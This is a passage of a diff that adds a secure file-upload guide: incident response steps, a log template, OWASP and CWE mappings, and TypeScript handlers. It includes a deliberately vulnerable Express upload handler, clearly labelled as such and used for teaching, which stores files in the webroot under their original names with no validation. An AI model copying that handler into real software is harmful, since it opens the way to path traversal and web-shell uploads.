- Upload of known-bad file hashes (compare against threat intel feeds)
|
|
1195
|
+
|
|
1196
|
+
**Response:**
|
|
1197
|
+
1. Quarantine the file immediately
|
|
1198
|
+
2. Record the full upload chain: IP address, user account, timestamp, original filename
|
|
1199
|
+
3. Hash the file (SHA-256) and check against VirusTotal and threat intelligence feeds
|
|
1200
|
+
4. Determine if the file was served to any other users
|
|
1201
|
+
5. If served, notify affected users and assess downstream impact
|
|
1202
|
+
6. Block the source IP/account pending investigation
|
|
1203
|
+
7. Review upload validation controls for bypass opportunities
|
|
1204
|
+
|
|
1205
|
+
### 8.3 Log Template for Upload Events
|
|
1206
|
+
|
|
1207
|
+
```json
|
|
1208
|
+
{
|
|
1209
|
+
"event_type": "file_upload",
|
|
1210
|
+
"timestamp": "2026-03-08T12:00:00Z",
|
|
1211
|
+
"user_id": "usr_abc123",
|
|
1212
|
+
"ip_address": "203.0.113.42",
|
|
1213
|
+
"original_filename": "photo.jpg",
|
|
1214
|
+
"storage_filename": "a1b2c3d4-e5f6-7890-abcd-ef1234567890.jpg",
|
|
1215
|
+
"declared_content_type": "image/jpeg",
|
|
1216
|
+
"detected_content_type": "image/jpeg",
|
|
1217
|
+
"file_size_bytes": 2048576,
|
|
1218
|
+
"file_hash_sha256": "e3b0c44298fc1c149afbf4c8996fb924...",
|
|
1219
|
+
"scan_result": "clean",
|
|
1220
|
+
"scan_engine": "ClamAV 1.4.1",
|
|
1221
|
+
"validation_passed": true,
|
|
1222
|
+
"storage_location": "s3://uploads-clean/2026/03/08/"
|
|
1223
|
+
}
|
|
1224
|
+
```
|
|
1225
|
+
|
|
1226
|
+
---
|
|
1227
|
+
|
|
1228
|
+
## 9. Compliance & Standards
|
|
1229
|
+
|
|
1230
|
+
### 9.1 OWASP References
|
|
1231
|
+
|
|
1232
|
+
| Reference | Relevance |
|
|
1233
|
+
|-----------|-----------|
|
|
1234
|
+
| **A01:2021 Broken Access Control** | Missing authorization checks on file download endpoints |
|
|
1235
|
+
| **A03:2021 Injection** | Web shell execution, command injection via filenames |
|
|
1236
|
+
| **A04:2021 Insecure Design** | Missing file upload validation architecture |
|
|
1237
|
+
| **A05:2021 Security Misconfiguration** | Executable upload directories, missing headers |
|
|
1238
|
+
| **A06:2021 Vulnerable Components** | Unpatched ImageMagick, outdated parsing libraries |
|
|
1239
|
+
| **A08:2021 Software and Data Integrity** | Unverified file contents, missing malware scanning |
|
|
1240
|
+
|
|
1241
|
+
Source: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
|
|
1242
|
+
|
|
1243
|
+
### 9.2 CWE References
|
|
1244
|
+
|
|
1245
|
+
| CWE ID | Name | File Upload Context |
|
|
1246
|
+
|--------|------|---------------------|
|
|
1247
|
+
| **CWE-434** | Unrestricted Upload of File with Dangerous Type | Core file upload vulnerability |
|
|
1248
|
+
| **CWE-22** | Path Traversal | Malicious filenames writing outside upload dir |
|
|
1249
|
+
| **CWE-79** | Cross-site Scripting | SVG/HTML uploads with embedded scripts |
|
|
1250
|
+
| **CWE-918** | Server-Side Request Forgery | "Upload from URL" fetching internal resources |
|
|
1251
|
+
| **CWE-409** | Improper Handling of Highly Compressed Data | ZIP/decompression bombs |
|
|
1252
|
+
| **CWE-611** | XXE | Malicious XML in DOCX/XLSX/SVG |
|
|
1253
|
+
| **CWE-345** | Insufficient Data Authenticity Verification | Trusting Content-Type header |
|
|
1254
|
+
| **CWE-770** | Allocation Without Limits | No file size limits |
|
|
1255
|
+
| **CWE-367** | TOCTOU Race Condition | File accessible before scan completes |
|
|
1256
|
+
| **CWE-639** | Authorization Bypass via User Key | Predictable file download URLs |
|
|
1257
|
+
|
|
1258
|
+
### 9.3 Regulatory Considerations
|
|
1259
|
+
|
|
1260
|
+
- **PCI DSS:** Requirement 6.5.8 — Improper access control, including insecure
|
|
1261
|
+
direct object references and unrestricted file upload
|
|
1262
|
+
- **HIPAA:** File uploads containing PHI must be encrypted at rest and in transit;
|
|
1263
|
+
access must be logged and audited
|
|
1264
|
+
- **GDPR:** Uploaded files containing personal data subject to data protection
|
|
1265
|
+
requirements; metadata (EXIF GPS) may constitute personal data
|
|
1266
|
+
- **SOC 2:** File upload controls fall under CC6.1 (Logical and Physical Access Controls)
|
|
1267
|
+
and CC7.2 (System Monitoring)
|
|
1268
|
+
|
|
1269
|
+
---
|
|
1270
|
+
|
|
1271
|
+
## 10. Code Examples — Vulnerable vs. Secure
|
|
1272
|
+
|
|
1273
|
+
### 10.1 Vulnerable Upload Handler
|
|
1274
|
+
|
|
1275
|
+
```typescript
|
|
1276
|
+
// VULNERABLE — DO NOT USE
|
|
1277
|
+
import express from 'express';
|
|
1278
|
+
import multer from 'multer';
|
|
1279
|
+
import path from 'path';
|
|
1280
|
+
|
|
1281
|
+
const app = express();
|
|
1282
|
+
|
|
1283
|
+
// Problem 1: Stores in webroot with original filename
|
|
1284
|
+
const storage = multer.diskStorage({
|
|
1285
|
+
destination: path.join(__dirname, 'public/uploads'),
|
|
1286
|
+
filename: (_req, file, cb) => cb(null, file.originalname), // Path traversal risk!
|
|
1287
|
+
});
|
|
1288
|
+
|
|
1289
|
+
// Problem 2: No file type or size restrictions
|
|
1290
|
+
const upload = multer({ storage });
|
|
1291
|
+
|
|
1292
|
+
app.post('/upload', upload.single('file'), (req, res) => {
|
|
1293
|
+
// Problem 3: No content validation
|
|
1294
|
+
// Problem 4: No malware scanning
|
|
1295
|
+
// Problem 5: No authorization check
|
|
1296
|
+
// Problem 6: File immediately accessible at /uploads/<original-name>
|
|
1297
|
+
res.json({ url: `/uploads/${req.file!.originalname}` });
|
|
1298
|
+
});
|
|
1299
|
+
```
|
|
1300
|
+
|
|
1301
|
+
### 10.2 Secure Upload Handler (Complete)
|
|
1302
|
+
|
|
1303
|
+
```typescript
|
|
1304
|
+
// SECURE — Production-ready upload handler
|
|
1305
|
+
import express, { Request, Response, NextFunction } from 'express';
|
|
1306
|
+
import multer from 'multer';
|
|
1307
|
+
import { fileTypeFromBuffer } from 'file-type';
|
|
1308
|
+
import sharp from 'sharp';
|
|
1309
|
+
import { randomUUID, createHash } from 'crypto';
|
|
1310
|
+
import { writeFile, mkdir } from 'fs/promises';
|
|
1311
|
+
import path from 'path';
|
|
1312
|
+
import rateLimit from 'express-rate-limit';
|
|
1313
|
+
|
|
1314
|
+
// --- Configuration ---
|
|
1315
|
+
const UPLOAD_DIR = '/var/app/uploads'; // Outside webroot
|
|
1316
|
+
const MAX_SIZE = 5 * 1024 * 1024; // 5 MB
|
|
1317
|
+
const ALLOWED_TYPES: Record<string, string> = {
|
|
1318
|
+
'image/jpeg': '.jpg',
|
|
1319
|
+
'image/png': '.png',
|
|
1320
|
+
'image/webp': '.webp',
|
|
1321
|
+
};
|
|
1322
|
+
|
|
1323
|
+
// --- Middleware ---
|
|
1324
|
+
const uploadMiddleware = multer({
|
|
1325
|
+
storage: multer.memoryStorage(),
|
|
1326
|
+
limits: { fileSize: MAX_SIZE, files: 1, fields: 5 },
|
|
1327
|
+
});
|
|
1328
|
+
|
|
1329
|
+
const rateLimiter = rateLimit({
|
|
1330
|
+
windowMs: 15 * 60 * 1000,
|
|
1331
|
+
max: 20,
|
|
1332
|
+
standardHeaders: true,
|
|
1333
|
+
});
|
|
1334
|
+
|
|
1335
|
+
// --- Handler ---
|
|
1336
|
+
async function handleSecureUpload(req: Request, res: Response): Promise<void> {
|
|
1337
|
+
if (!req.file) {
|
|
1338
|
+
res.status(400).json({ error: 'No file provided' });
|
|
1339
|
+
return;
|
|
1340
|
+
}
|
|
1341
|
+
|
|
1342
|
+
// Step 1: Validate magic bytes
|
|
1343
|
+
const detected = await fileTypeFromBuffer(req.file.buffer);
|
|
1344
|
+
if (!detected || !(detected.mime in ALLOWED_TYPES)) {
|
|
1345
|
+
res.status(400).json({ error: 'File type not allowed' });
|
|
1346
|
+
return;
|
|
1347
|
+
}
|
|
1348
|
+
|
|
1349
|
+
// Step 2: Re-encode image (strips metadata + neutralizes payloads)
|
|
1350
|
+
const processed = await sharp(req.file.buffer)
|
|
1351
|
+
.resize(2048, 2048, { fit: 'inside', withoutEnlargement: true })
|
|
1352
|
+
.toFormat(detected.ext as keyof sharp.FormatEnum)
|
|
1353
|
+
.toBuffer();
|
|
1354
|
+
|
|
1355
|
+
// Step 3: Compute hash for deduplication and audit
|
|
1356
|
+
const hash = createHash('sha256').update(processed).digest('hex');
|
|
1357
|
+
|
|
1358
|
+
// Step 4: Generate safe filename and path
|
|
1359
|
+
const fileId = randomUUID();
|
|
1360
|
+
const ext = ALLOWED_TYPES[detected.mime];
|
|
1361
|
+
const storagePath = path.join(UPLOAD_DIR, `${fileId}${ext}`);
|
|
1362
|
+
|
|
1363
|
+
// Step 5: Save (after malware scan in production)
|
|
1364
|
+
await mkdir(UPLOAD_DIR, { recursive: true });
|
|
1365
|
+
await writeFile(storagePath, processed, { mode: 0o644 });
|
|
1366
|
+
|
|
1367
|
+
// Step 6: Store metadata in database (pseudo-code)
|
|
1368
|
+
// await db.insert('uploads', {
|
|
1369
|
+
// id: fileId,
|
|
1370
|
+
// original_name: sanitizeFilename(req.file.originalname),
|
|
1371
|
+
// mime_type: detected.mime,
|
|
1372
|
+
// size: processed.length,
|
|
1373
|
+
// hash,
|
|
1374
|
+
// uploaded_by: req.user.id,
|
|
1375
|
+
// scan_status: 'pending',
|
|
1376
|
+
// });
|
|
1377
|
+
|
|
1378
|
+
// Step 7: Respond with file ID (not path)
|
|
1379
|
+
res.status(201).json({
|
|
1380
|
+
id: fileId,
|
|
1381
|
+
type: detected.mime,
|
|
1382
|
+
size: processed.length,
|
|
1383
|
+
});
|
|
1384
|
+
}
|
|
1385
|
+
|
|
1386
|
+
// --- Routes ---
|
|
1387
|
+
const app = express();
|
|
1388
|
+
app.post('/api/upload', rateLimiter, uploadMiddleware.single('file'), handleSecureUpload);
|
|
1389
|
+
```
|
|
1390
|
+
|
|
1391
|
+
### 10.3 Cloud Upload with Presigned URL (Full Flow)
|
|
1392
|
+
|
|
1393
|
+
```typescript
|
|
1394
|
+
// Server: Generate presigned URL
|
|
1395
|
+
import { S3Client, PutObjectCommand } from '@aws-sdk/client-s3';
|
|
1396
|
+
import { getSignedUrl } from '@aws-sdk/s3-request-presigner';
|
|
1397
|
+
import { randomUUID } from 'crypto';
|
|
1398
|
+
|
|
1399
|
+
const s3 = new S3Client({ region: process.env.AWS_REGION });
|
|
1400
|
+
const BUCKET = process.env.UPLOAD_BUCKET!;
|
|
1401
|
+
|
|
1402
|
+
app.post('/api/upload/request-url', rateLimiter, async (req, res) => {
|
|
1403
|
+
const { contentType, fileSize } = req.body;
|
|
1404
|
+
|
|
1405
|
+
// Validate request
|
|
1406
|
+
if (!ALLOWED_TYPES[contentType]) {
|
|
1407
|
+
return res.status(400).json({ error: 'Content type not allowed' });
|
|
1408
|
+
}
|
|
1409
|
+
if (fileSize > MAX_SIZE) {
|
|
1410
|
+
return res.status(400).json({ error: 'File too large' });
|
|
1411
|
+
}
|
|
1412
|
+
|
|
1413
|
+
const fileId = randomUUID();
|
|
1414
|
+
const key = `pending/${fileId}`;
|
|
1415
|
+
|
|
1416
|
+
const command = new PutObjectCommand({
|
|
1417
|
+
Bucket: BUCKET,
|
|
1418
|
+
Key: key,
|
|
1419
|
+
ContentType: contentType,
|
|
1420
|
+
ServerSideEncryption: 'AES256',
|
|
1421
|
+
Metadata: {
|
|
1422
|
+
'uploaded-by': req.user.id,
|
|
1423
|
+
'original-type': contentType,
|
|
1424
|
+
},
|
|
1425
|
+
});
|
|
1426
|
+
|
|
1427
|
+
const uploadUrl = await getSignedUrl(s3, command, { expiresIn: 300 });
|
|
1428
|
+
|
|
1429
|
+
return res.json({ uploadUrl, fileId });
|
|
1430
|
+
});
|
|
1431
|
+
|
|
1432
|
+
// After upload: Lambda trigger validates + moves to clean bucket
|
|
1433
|
+
// S3 Event → Lambda → ClamAV scan → Move to 'clean/' prefix or 'quarantine/'
|
|
1434
|
+
```
|
|
1435
|
+
|
|
1436
|
+
```typescript
|
|
1437
|
+
// Client: Upload directly to S3
|
|
1438
|
+
async function uploadFile(file: File): Promise<string> {
|
|
1439
|
+
// Step 1: Request presigned URL from our server
|
|
1440
|
+
const { uploadUrl, fileId } = await fetch('/api/upload/request-url', {
|
|
1441
|
+
method: 'POST',
|
|
1442
|
+
headers: { 'Content-Type': 'application/json' },
|
|
1443
|
+
body: JSON.stringify({
|
|
1444
|
+
contentType: file.type,
|
|
1445
|
+
fileSize: file.size,
|
|
1446
|
+
}),
|
|
1447
|
+
}).then(r => r.json());
|
|
1448
|
+
|
|
1449
|
+
// Step 2: Upload directly to S3
|
|
1450
|
+
const uploadResponse = await fetch(uploadUrl, {
|
|
1451
|
+
method: 'PUT',
|
|
1452
|
+
headers: { 'Content-Type': file.type },
|
|
1453
|
+
body: file,
|
|
1454
|
+
});
|
|
1455
|
+
|
|
1456
|
+
if (!uploadResponse.ok) {
|
|
1457
|
+
throw new Error('Upload failed');
|
|
1458
|
+
}
|
|
1459
|
+
|
|
1460
|
+
return fileId;
|
|
1461
|
+
}
|
|
1462
|
+
```
|
|
1463
|
+
|
|
1464
|
+
---
|
|
1465
|
+
|
|
1466
|
+
## References
|
|
1467
|
+
|
|
1468
|
+
- OWASP File Upload Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html
|
|
1469
|
+
- OWASP Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
|
|
1470
|
+
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
|
|
1471
|
+
- ImageTragick: https://imagetragick.com/
|
|
1472
|
+
- PortSwigger File Upload Vulnerabilities: https://portswigger.net/web-security/file-upload
|
|
1473
|
+
- NSA/CISA Web Shell Detection Guide: https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF
|
|
1474
|
+
- ClamAV Documentation: https://docs.clamav.net/
|
|
1475
|
+
- AWS S3 Presigned URLs: https://docs.aws.amazon.com/AmazonS3/latest/userguide/using-presigned-url.html
|
|
1476
|
+
- GCS Malware Scanning Architecture: https://docs.google.com/architecture/automate-malware-scanning-for-documents-uploaded-to-cloud-storage
|
|
1477
|
+
- Equifax Breach Analysis: https://www.blackduck.com/blog/equifax-apache-struts-vulnerability-cve-2017-5638.html
|